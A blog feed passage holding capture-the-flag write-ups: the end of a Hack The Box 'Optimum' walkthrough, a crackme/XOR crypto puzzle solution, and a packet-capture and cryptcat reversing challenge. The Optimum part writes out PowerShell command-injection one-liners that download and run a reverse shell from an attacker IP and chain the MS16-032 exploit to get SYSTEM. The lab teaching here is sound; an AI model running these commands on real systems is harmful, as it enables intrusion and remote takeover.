<p>Now we need a shell on this machine.. It's a windows machine, and we have <code>Powershell</code> enabled since <code>Win2k8+Win7</code>, so let's google for a good Powershell Reverse shell.</p>

<blockquote>
  <p><strong>Nikhil SamratAshok Mittal</strong> wrote an <a href="http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html">awesome article</a> about powershell shells and provided a collection of  snippets here <a href="https://github.com/samratashok/nishang">https://github.com/samratashok/nishang</a></p>
</blockquote>

<p>Take his <a href="https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1">PowerShellTcp.ps1</a> and serve it locally w/ your Python <a href="https://docs.python.org/2/library/simplehttpserver.html">SimpleHTTPServer</a>.</p>

<p>Now we need to find a way to <strong>Download and Execute</strong> this Powershell script.</p>

<pre>
From a 32-bit PowerShell session, to launch a 64-bit PowerShell session, use:
C:\Windows\SysNative\WindowsPowerShell\v1.0\PowerShell.exe

From a 64-bit PowerShell session, to launch a 32-bit PowerShell session, use:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
</pre>

<p><i><strong>Source</strong>: <a href="http://www.madwithpowershell.com/2015/06/64-bit-vs-32-bit-powershell.html">http://www.madwithpowershell.com/2015/06/64-bit-vs-32-bit-powershell.html</a></i></p>

<p>To test if Powershell and HTTP reverse connections is working I use this one-liner, it emulates a *nix <code>WGET</code></p>

<script src="https://gist.github.com/intrd/585978b815b89dedd774da1b6b8a1535.js"></script>

<p>Using Win32 paths didn't get any response, but:</p>

<pre><code class="language-powershell">%00{.exec|+C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://10.10.15.169:3001/test', 'C:\windows\temp\test').}
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2446-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>Awesome, we have a <strong>Winx64</strong> machine w/ Powershell downloading our scripts.</p>

<p>Now launch your local <code>nc listener</code> and use this snippet to load the remote <code>.ps1</code> in memory and execute. </p>

<script src="https://gist.github.com/intrd/feec7171aa7d172742b330f1f77f3edf.js"></script>

<pre><code class="language-powershell">%00{.exec|C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy unrestricted -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.169 -Port 3002.}
</code></pre>

<p>Note, I passed my <code>IP/Port</code> as args on command-line..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2449-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>Finally we got a <code>kostas</code> user shell and our <code>user flag</code>.</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2450-.png" alt="Hack The Box : Optimum (windows)"></p>

<h2 id="privilegeescalation">Privilege escalation</h2>

<p>Now to priv-esc start enumerating all the information you can about the machine.. </p>

<ul>
<li>System version</li>
<li>Hot fixes applied</li>
<li>Users, grops, permissions</li>
<li>Running processes</li>
<li>Scheduled tasks</li>
<li>Routes, firewall state</li>
<li>Sysprep and Unattended config files..</li>
<li>Config files (<em>cfg</em>, <em>config</em>, <em>ini</em>)</li>
</ul>

<p>..any information that might help you in priv-esc.</p>

<p>From <code>systeminfo</code> I some interesting machine information</p>

<pre><code>Host Name:                 OPTIMUM  
OS Name:                   Microsoft Windows Server 2012 R2 Standard  
OS Version:                6.3.9600 N/A Build 9600  
OS Manufacturer:           Microsoft Corporation  
OS Configuration:          Standalone Server  
...
System Type:               x64-based PC  
...
Windows Directory:         C:\Windows  
System Directory:          C:\Windows\system32  
...
Domain:                    HTB  
Logon Server:              \\OPTIMUM  
Hotfix(s):                 31 Hotfix(s) Installed.  
                           [01]: KB2959936
                           [02]: KB2896496
                           [03]: KB2919355
                           [04]: KB2920189
                           [05]: KB2928120
                           [06]: KB2931358
                           [07]: KB2931366
                           [08]: KB2933826
                           [09]: KB2938772
                           [10]: KB2949621
                           [11]: KB2954879
                           [12]: KB2958262
                           [13]: KB2958263
                           [14]: KB2961072
                           [15]: KB2965500
                           [16]: KB2966407
                           [17]: KB2967917
                           [18]: KB2971203
                           [19]: KB2971850
                           [20]: KB2973351
                           [21]: KB2973448
                           [22]: KB2975061
                           [23]: KB2976627
                           [24]: KB2977629
                           [25]: KB2981580
                           [26]: KB2987107
                           [27]: KB2989647
                           [28]: KB2998527
                           [29]: KB3000850
                           [30]: KB3003057
                           [31]: KB3014442
</code></pre>

<p>This is a <code>Windows Server 2012 R2</code> box w/ some hot fixes applied, using <code>wmic</code> you can list detailed information of each one:</p>

<pre><code>wmic qfe get Caption,Description,HotFixID,InstalledOn

Caption                                     Description      HotFixID   InstalledOn  
                                            Update           KB2959936  11/22/2014   
http://support.microsoft.com/?kbid=2896496  Update           KB2896496  11/22/2014  
http://support.microsoft.com/?kbid=2919355  Update           KB2919355  11/22/2014  
http://support.microsoft.com/?kbid=2920189  Security Update  KB2920189  11/22/2014  

...
</code></pre>

<p>Combinating w/ <a href="https://www.exploit-db.com">exploit.db</a> you can try to figure out witch one is not applied to a known vulnerability that allows priv-esc. </p>

<p>But it's painful. Why not use an automated tool to do this work?</p>

<h3 id="windowsexploitsuggester">Windows exploit suggester</h3>

<p>This is a Python script that uses your <code>systeminfo</code> dump to check missing hot fixes and list the possible vulnerabilities. </p>

<ul>
<li>Download here <a href="https://github.com/GDSSecurity/Windows-Exploit-Suggester">Windows-Exploit-Suggester</a> </li>
<li>Update w/ <code>python windows-exploit-suggester.py --update</code></li>
<li>Feed it w/ your systeminfo dump <code>python windows-exploit-suggester.py --database 2017-11-15-mssb.xls --systeminfo ../systeminfo.txt</code></li>
</ul>

<pre><code>[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
...
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 &amp; Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 &amp; Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
</code></pre>

<p>So, it listed a several possible exploits for priv-esc, but the <code>MS16-032</code> caught my attention because it is exactly for <code>Windows 2012 R2 64-bit</code>, has a well known <code>Powershell PoC</code> also a Metasploit-framework module.</p>

<p>You can see this exploit in action here..</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/cZzkTZklba8" frameborder="0" gesture="media" allowfullscreen></iframe>

<p>It is designed to execute locally and spawns a new <code>cmd.exe</code> w/ <code>NT Authority\SYSTEM</code> privilege. We do not have visual access to this machine and we will not be able to access this new <code>cmd.exe</code>. </p>

<p>Ok, we can enable a Remote Desktop or VLC connection to do this, but it sucks!</p>

<blockquote>
  <p>The solution I found was to modify the script to accept commands in the arguments and execute anything as <code>NT Authority\SYSTEM</code> instead of that new <code>cmd.exe</code>.</p>
</blockquote>

<pre><code>Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command YOUR_COMMAND_HERE"  
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2458-.png" alt="Hack The Box : Optimum (windows)"></p>

<p>Download <code>ms16_032_intrd_mod.ps1</code> here: <a href="https://gist.github.com/intrd/6dda33f61dca560e6996d01c62203374">https://gist.github.com/intrd/6dda33f61dca560e6996d01c62203374</a></p>

<p>Using our user shell we can invoke the <code>MS16-032</code> exploit and pass our reverse-shell one-liner as argument to get our <code>NT Authority\SYSTEM</code> spawned on another <code>nc</code> listener/port..</p>

<pre><code class="language-powershell">IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/ms16_032_intrd_mod.ps1');Invoke-MS16-032 "-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.169:3001/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.169 -Port 3003"  
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2451-.png" alt="Hack The Box : Optimum (windows)"></p>

<h2 id="finalnote">Final note</h2>

<p>I saw a lot of people suffering to get <code>NT Authority\SYSTEM</code> on this box @ <a href="https://www.hackthebox.eu/">hackthebox.eu</a>, and the main reason is because it is dependent on having <code>thread handle</code> available on machine. </p>

<p>The people downloaded the exploit without understanding/modifying, run and keep spawning the local system-shell they did not have access N times until the thread handles were running out and the exploit did not work anymore. </p>

<p>The obvious recommendation in this case is to test your exploit locally in an environment you control. When it works reset the remote machine and run your exploit.</p>

<h2 id="references">References</h2>

<ul>
<li>Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) - <a href="https://www.exploit-db.com/exploits/39161/">https://www.exploit-db.com/exploits/39161/</a></li>
<li>HFS: scripting commands -
<a href="http://www.rejetto.com/wiki/index.php?title=HFS">http://www.rejetto.com/wiki/index.php?title=HFS</a>:<em>scripting</em>commands</li>
<li>Null Byte Injection - <a href="http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection">http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection</a></li>
<li>Powershell System Paths - <a href="http://www.madwithpowershell.com/2015/06/64-bit-vs-32-bit-powershell.html">http://www.madwithpowershell.com/2015/06/64-bit-vs-32-bit-powershell.html</a></li>
<li>Week of PowerShell Shells Day 1 - <a href="http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html">http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html</a></li>
<li>Samratashok Powershell reverse shells -
<a href="https://github.com/samratashok/nishang/tree/master/Shells">https://github.com/samratashok/nishang/tree/master/Shells</a></li>
<li>Windows exploit suggester - <a href="https://github.com/GDSSecurity/Windows-Exploit-Suggester">https://github.com/GDSSecurity/Windows-Exploit-Suggester</a></li>
<li>Security Update for Secondary Logon to Address Elevation of Privilege (3143141) -
<a href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/ms16-032">https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/ms16-032</a></li>
<li>Exploiting a Leaked Thread Handle -
<a href="https://googleprojectzero.blogspot.com.br/2016/03/exploiting-leaked-thread-handle.html">https://googleprojectzero.blogspot.com.br/2016/03/exploiting-leaked-thread-handle.html</a></li>
<li>Win7-Win10 &amp; 2k8-2k12 &lt;== 32/64bit privilege escalation (MS16-032 exploit modded) - command argv + reverse shell - <a href="https://gist.github.com/intrd/6dda33f61dca560e6996d01c62203374">https://gist.github.com/intrd/6dda33f61dca560e6996d01c62203374</a></li>
<li>Invoke-PowerShellTcp.ps1 - <a href="https://gist.github.com/intrd/d5086206bdef0ba1d7776c5325547626">https://gist.github.com/intrd/d5086206bdef0ba1d7776c5325547626</a></li>
<li>powershell_wget_oneliner.ps1 - <a href="https://gist.github.com/intrd/585978b815b89dedd774da1b6b8a1535">https://gist.github.com/intrd/585978b815b89dedd774da1b6b8a1535</a></li>
<li>powershell_download_exec.ps1 -<a href="https://gist.github.com/intrd/feec7171aa7d172742b330f1f77f3edf">https://gist.github.com/intrd/feec7171aa7d172742b330f1f77f3edf</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[DC5561 CTF 2017 : crypto800-poem]]></title><description><![CDATA[<p>There's a poem..</p>

<pre>
I'm not a good writer, and Shakespeare is better than me
But writing a little poem, oh gosh, how hard can it be?

Let's go, let's go, let's go, let's write a rhyme for crypto
Don't know, don't know, don't know, ok let's just use TIPTOE

Ok,</pre>]]></description><link>http://dann.com.br/dc5561-ctf-2017-crypto800-poem/</link><guid isPermaLink="false">80f9efbd-ef1f-4e6a-83fe-eebf116ed566</guid><category><![CDATA[cryptography]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[stream cipher]]></category><category><![CDATA[python]]></category><category><![CDATA[ctf]]></category><category><![CDATA[dc5561]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Thu, 09 Nov 2017 21:47:04 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/11/AXUeWhO0.jpeg" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/11/AXUeWhO0.jpeg" alt="DC5561 CTF 2017 : crypto800-poem"><p>There's a poem..</p>

<pre>
I'm not a good writer, and Shakespeare is better than me
But writing a little poem, oh gosh, how hard can it be?

Let's go, let's go, let's go, let's write a rhyme for crypto
Don't know, don't know, don't know, ok let's just use TIPTOE

Ok, ok, ok, so what's this CHALLENGE about?
Don't know a word to say and time has just ran out

Those RANDOM numbers, ya know, they always have a SEED
To find this FLAG, ya know, I guess that's what you need

Oh my gosh! Oh my gosh! I have to admit
The CERTIFICATE we've hit, oh man it seems legit!

Oh my gosh! Oh my gosh! Did they change it just a bit?
The ARRAY you just have found, what you gonna do with it?

I know, I know, you're tired of all this sh...ame
Calm down, calm down, the FLAG looks like a name

I know, I know, you're tired of all this game
Calm down, calm down, the flag will bring you FAME!
</pre>

<p>The poem have some highlighted words...</p>

<pre>
TIPTOE
CHALLENGE
RANDOM
SEED
FLAG
CERTIFICATE
ARRAY
FLAG
FAME
</pre>

<p>Also there's a file called <code>certificate.txt</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2312-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>This certificate, looks a <code>base64</code>.. we tried to decode and it worked, resulted in a <code>Windows PE executable</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2314-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Renamed it to <code>decode1.exe</code> and runned on a Windows VM.. </p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2316-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>.. it shows a encrypted text <code>&lt;=$uj{-3azseg?&amp;(j2 &lt;1&lt;j7=6{,7-9$;|j'*"=?1z9)</code> and keeps expecting for some input. </p>

<p>Analyzing it we got some interesting hard-coded strings and we can already have an idea that this is a type of crackme challenge..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2318-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Also got this hint..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2320-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>What most caught our attention was this string <code>Ok, enter it:</code>, if we wrongly answer to the first question the program closes and this string is not displayed.</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2321-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Maybe it was expecting for some key.. so, we had to figure out the correct answer for the question and possibly get into this input to enter something to see what happen.</p>

<p>Instead of trying to find the first correct command we patched the binary modifying this <code>jnz</code></p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2322-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>..to <code>jz</code> to bypass the verification of the question and go directly to <code>Ok, enter it:</code>, and it works, now we can test our keys.</p>

<p>Before we start thinking about bruteforce we were able to understand exactly what the encryption algorithm was doing..</p>

<blockquote>
  <p>Its a simple <code>stream cipher</code>, <code>XOR</code> each byte of encrypted string w/ each byte of the key.</p>
</blockquote>

<p>Using the key <code>test</code> we got this result..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2323--1.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Emulating it on python using the 1st 4 bytes of ciphertext..</p>

<pre><code class="language-python">#!/usr/bin/python
## Keygen solution to crypto800-poem @ DC5561 CTF 2017  
# solved by intrd &amp; r00tc0d3r - p4f team

string = [0x3c,0x3d,0x24,0x24] # 1st 4 bytes of encrypted text: &lt;=$uj{-3azseg?&amp;(j2 &lt;1&lt;j7=6{,7-9$;|j'*"=?1z9)  
xor_key = [0x74,0x65,0x73,0x74] # 4 byte key: test

str=""  
for i in range(0,4):  
    i=string[i]^xor_key[i]
    str += chr(i)
print(str)  
</code></pre>

<p>..and running we can see the 1st 4 bytes of the result was the same <code>HXWP</code> returned by the binary! Success!</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2324-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Ok, but how to find the correct key? So, why not try that poem <code>highlighted words</code>?</p>

<p>Bingo! the first key we tried <code>TIPT</code> decoded to <code>http</code>..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2325-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>So, we updated the script to decode the remaining bytes repeating the key along the way.. <code>TIPTOETIPTOETIPTOETIPTOETIPTOETIPTOETIPTOETIP</code>, <code>45 bytes</code> same length of ciphertext.</p>

<pre><code class="language-python"># #!/usr/bin/python
# ## crypto800-poem decoder @ DC5561 CTF 2017  
# # by intrd &amp; r00tc0d3r - p4f team

def sxor(s1,s2):  
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

key = "TIPTOE"  
print repr(sxor(key*20, "&lt;=$$uj{-3azseg?&amp;(j2 &lt;1&lt;j7=6{,7-9$;|j'*\"=?1z9)"))  
</code></pre>

<p>..the result can't be better!</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2326-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>A URL w/ some python scrypt! <br>
<code>http://dc5561.org/files/ctf/crypto3/script.py</code></p>

<pre><code class="language-python">#!/usr/bin/env python
"""This is just a simple yet challening Python script.
   Not finished yet, though...
   Use the hints you have so far to finish it and get your FLAG!"""

import sys  
import random

def my_rand(seed):  
    r = random.Random()
    # TODO - the seed needs to come from the "user"
    # temporarly I'll just leave 'SEED' here. Hope someone fixes this...
    r.seed('SEED')
    return round(r.random() * 10)

def char_sub(str_array, position):  
    var = str_array[int(position)]
    var = var.replace("a", "@")
    var = var.replace("e", "3")
    var = var.replace("i", "1")
    var = var.replace("o", "0")
    return var

def main(argv):  
    mixed_array = [".", "phrase:", "Best", "William.", "be?", "To", "not", "or", "to", "be", " - SHAKESPEARE, " ]
    # TODO - I'm lazy, so this function is not ready yet...
    # organize_array()
    # TODO - organized_array should be different from the mixed_array
    organized_array = mixed_array
    # Get the right word
    index = my_rand(argv[1])
    print "Index: ", int(index)
    print "This is the flag:", char_sub(organized_array, index)

if __name__ == "__main__":  
    main(sys.argv)
</code></pre>

<blockquote>
  <p>So, analyzing the code, it uses a <code>predefined random() seed</code> to select a <code>random string</code> from a <code>mixed_array</code> and replace a <code>random byte</code> of this string w/ a <a href="https://en.wikipedia.org/wiki/Leet">l33t speak</a> character.</p>
</blockquote>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2329-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Also there's a function we need to code to organize the array..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2330-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>..but i'm lazy too and dit it by hand</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2331-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>So, now we need the correct <code>random seed</code> to get the correct flag. Back to the poem, there are some lines that mention elements of this python script.</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2332-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>We decided to test the rest of the highlighted words and the seed <code>ARRAY</code> was the only one that returned me something that looked like a flag..</p>

<p><img src="http://dann.com.br/content/images/2017/11/Selection_999-2333-.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Nice! the poem says <code>Calm down, calm down, the FLAG looks like a name</code>, this can be the flag (remembering that we have limited attempts to submit the flag).</p>

<p>And done! every challenge solved <strong>p4f team 1st place</strong>! very proud of our team..</p>

<p><img src="http://dann.com.br/content/images/2017/11/ctf.png" alt="DC5561 CTF 2017 : crypto800-poem"></p>

<p>Thanks to <a href="https://www.dc5561.org/">DC5561</a> <strong>DEFCON Group Brasilia</strong> for hosting this CTF.</p>

<h2 id="references">References</h2>

<ul>
<li>Stream Cipher - <a href="https://en.wikipedia.org/wiki/Stream_cipher">https://en.wikipedia.org/wiki/Stream_cipher</a></li>
<li>Patching the binary w/ radare2 and writing a keygen in Python -
<a href="http://dann.com.br/shx5-rev200-lil_arm/">http://dann.com.br/shx5-rev200-lil_arm/</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)]]></title><description><![CDATA[<p>Our inside crew was able to set up a sniffer and intercept some comms, but we haven't had time to analyze it yet. Critical information is needed! Submit the <code>ver</code>, <code>seccoms</code> and <code>cry</code> t0k3n. Download PCAP from <del><a href="http://bit.ly/wgzPacMan">http://bit.ly/wgzPacMan</a></del> -- If you've already downloaded wgzPacMan, no need to</p>]]></description><link>http://dann.com.br/gcl-prequals-2017-sniffing-ggocysea-agent-comms-link-rev-part/</link><guid isPermaLink="false">8eb25b22-257f-4b67-8dba-c9115f37995d</guid><category><![CDATA[bruteforce]]></category><category><![CDATA[gclprequals2k17]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[cryptography]]></category><category><![CDATA[forensics]]></category><category><![CDATA[cryptcat]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Wed, 20 Sep 2017 22:26:11 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/09/Selection_999-1845-.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/09/Selection_999-1845-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"><p>Our inside crew was able to set up a sniffer and intercept some comms, but we haven't had time to analyze it yet. Critical information is needed! Submit the <code>ver</code>, <code>seccoms</code> and <code>cry</code> t0k3n. Download PCAP from <del><a href="http://bit.ly/wgzPacMan">http://bit.ly/wgzPacMan</a></del> -- If you've already downloaded wgzPacMan, no need to download it again.</p>

<h2 id="solutionvert0k3n">Solution (ver t0k3n)</h2>

<p>Analyzing the PCAP we've discovered that the Agent Smith is running a secure communication service @ <code>52.204.153.56:443</code> and received the <code>ver t0k3n</code> on plaintext.</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1808-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>Following the TCP stream we got this conversation:</p>

<pre>
<b>A. Smith</b>: GGoCySEA Agent Comms Link
<b>A. Smith</b>: Agent Smith here... 
<b>Client</b>: Agent Smith, this is Agent Rollins, I was told I could contact you here.
<b>A. Smith</b>: This is Agent Smith, send your verification t0k3n
<b>Client</b>: th3 ver t0k3n y0u s33k is: !@mag3ntr0ll!n$
<b>A. Smith</b>: ver t0k3n verified, what can I do for you?
<b>Client</b>: I...ve sent you a file that you need to look at on open comms channel
<b>A. Smith</b>: I have it, but you shouldn...t send files over that channel you need to use secure comms, connect to 8989 for the software then connect to the secure comms channel on 4443, send your seccomms verification t0k3n once you connect
...comms out...
</pre>

<h2 id="solutionseccommst0k3n">Solution (seccomms t0k3n)</h2>

<p>Agent Rollins (client) made a mistake to sent a confidential file on open channel (yes, we already intercepted this before and extracted some t0k3ns from it). </p>

<p>Then Agent Smith called the attention to use a <code>specific secure software</code> to send/receive sensitive data.</p>

<p>..this software:</p>

<ul>
<li>Was downloaded from port <code>8989</code>;</li>
<li>Used the A. Rollins <code>seccomms t0k3n</code> to establish the communication;</li>
<li>And possibly used to sent more sensitive data. Our <code>cry t0k3n</code> maybe?</li>
</ul>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1811-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>So, searching for packets that passed through <code>8989</code> port, the first occurrence was this <code>ELF</code> binary.</p>

<div class="image-div" style="width: 550px;">  
<img src="http://dann.com.br/content/images/2017/09/Selection_999-1821-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)">
</div>

<p>After some research we figured out this is a modded version of <a href="http://cryptcat.sourceforge.net/info.php">CryptCat</a>. Cryptcat is the standard <code>netcat</code> enhanced with <code>Twofish encryption</code>.</p>

<div class="image-div" style="width: 550px;">  
<img src="http://dann.com.br/content/images/2017/09/Selection_999-1814-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)">
</div>

<p>They changed/added some args description on the software:</p>

<ul>
<li><strong>-T</strong> - display a <code>temporary seccoms t0k3n</code> (this is not our token yet, we need the token used by Agent Rollins);</li>
<li><strong>-k</strong> - set a peer-to-peer pre-shared key.</li>
</ul>

<blockquote>
  <p>If you send some data without setting the <code>-k</code> it will encrypt w/ Twofish using the default key, setting <code>-k</code> you can use your own privkey.</p>
</blockquote>

<p>Well, A. Smith said he should use port <code>4443</code> for communication through this software, let's take a look.</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1815-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>Interesting.. <br>
Some encrypted data (unknown header/body/footer). </p>

<p>Why not try to put up the binary as server <code>./elf.elf -vvlp 4445</code> and send this data back emulating the server answer? </p>

<p>This is what we did.. <br>
Using Python to take more control of the data flow and possibly figure out the encryption we sent back to localhost the bytes of first server answer:</p>

<div class="image-div" style="width: 600px;">  
<img src="http://dann.com.br/content/images/2017/09/Selection_999-1822-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)">
</div>

<p>..and we got it decrypted! So, we wrote this script...</p>

<pre><code class="language-python">import sys, binascii  
from pwn import *

HOST = '127.0.0.1'  
PORT = 4445  
conn = remote(HOST,PORT,typ="tcp")

## Attention to the Twofish pattern 16 bytes key + data
encdata = "2c087117c9d469d622f3a117de0990e3"  
encdata += "d52cb4e656ce4e0ce2ad7882715f451a2a41cb53ed889e1909ef0c245cdbd5474637987eb7b9ca3b0ebfe23a01d5bf7f518ed86b4d3c"  
encdata += "b52eb51ac555153b4eb9a26d0ef9be46"  
encdata += "06b5f2e428d3ab42a9920973f39e6d614699950dadca96952d9911de146fef0e83640a727cdb06af681434f46ec20be62ec7d39c1d6fa14f1c595e84284db71c5e07a2d18311d8"  
encdata += "4a822e4ca0efad0543e2f7aec7c5c9de"  
encdata += "eda3ee5bb3e046d837cca186570c41e05877d30e94392539b07e1e879fd0d6d76fea04e476a7592a6ae61ffea2c4809b8406ac5e127f96cbb666c6e73246030e0f5c8cd1dc3f6b51bc0bf4d4bc5e829947890ca59caf6d49b9e702cc745e26047d42c812fa15e242d14b121ef83d09c756a5"  
encdata += "33078bb44d6de30bb799eeb5f8f125d2"  
encdata += "b209c7d65f08981b9935b9114538facc2a599f6f3ecbed7af1e738b960489dce"  
encdata = binascii.unhexlify(encdata)

conn.sendline(encdata)  
</code></pre>

<p>..to decode the entire conversation.</p>

<div class="image-div" style="width: 600px;">  
<img src="http://dann.com.br/content/images/2017/09/Selection_999-1824-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)">
</div>

<pre>
<b>Server</b>: GGoCySEA Secure Comms Link
<b>Client</b>: This is Agent Rollins checking back in
<b>Server</b>: send your seccomms verification t0k3n
<b>Client</b>: th3 seccoms t0k3n y0u s33k is: ag3ntr0ll!n$s3cur3c0mm$
<b>Server</b>: secure comms t0k3n verified, send your file with the GovSec Agency approved password on port 6345
...comms out...
</pre>

<h2 id="solutioncryt0k3n">Solution (cry t0k3n)</h2>

<p>As you can see, decoding the last comm we got:</p>

<ul>
<li>Agent Rollins <code>seccoms tok3n</code>; </li>
<li>A new port, <code>6345</code> used to send files encrypted w/ a <code>custom password</code> aproved by GovSec Agency.</li>
</ul>

<p>Back to PCAP we confirmed that a good amount of encrypted data(57kb) has passed through this port.</p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1825-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>So, we have the <code>encrypted data</code> and the <code>Software</code> to decrypt it. But.. how about the <code>password</code>? We can bruteforce or reverse it? </p>

<p>During the CTF we've found some passwords, but how to test it? </p>

<p>The first thing is to figure out how to use the <code>-k</code> (pre-shared key) in a way to bruteforce it. </p>

<p><img src="http://dann.com.br/content/images/2017/09/Selection_999-1831-.png" alt="GCL-Prequals 2017 : Sniffing GGoCySEA Agent Comms Link (rev part)"></p>

<p>As you can see it works like a charm..</p>

<ol>
<li>We created a <code>dummy file</code> w/ some content;  </li>
<li>Setup a server w/ a <code>supersecretpassword</code>;  </li>
<li>Sent the dummy file w/ the <code>correct password</code> and got it decrypted on the other side;  </li>
<li>If the <code>password was wrong</code>, it didn't even try to decrypt it.. <code>0 bytes are transferred</code> and the connection is killed.</li>
</ol>

<pre><code class="language-bash">## server side
$ ./elf.elf -k supersecretpassword 127.0.0.1 -vvvlp 6345

## client side
$ ./elf.elf -w 1 -k supersecretpassword 127.0.0.1 6345 &lt; dummyfile
</code></pre>

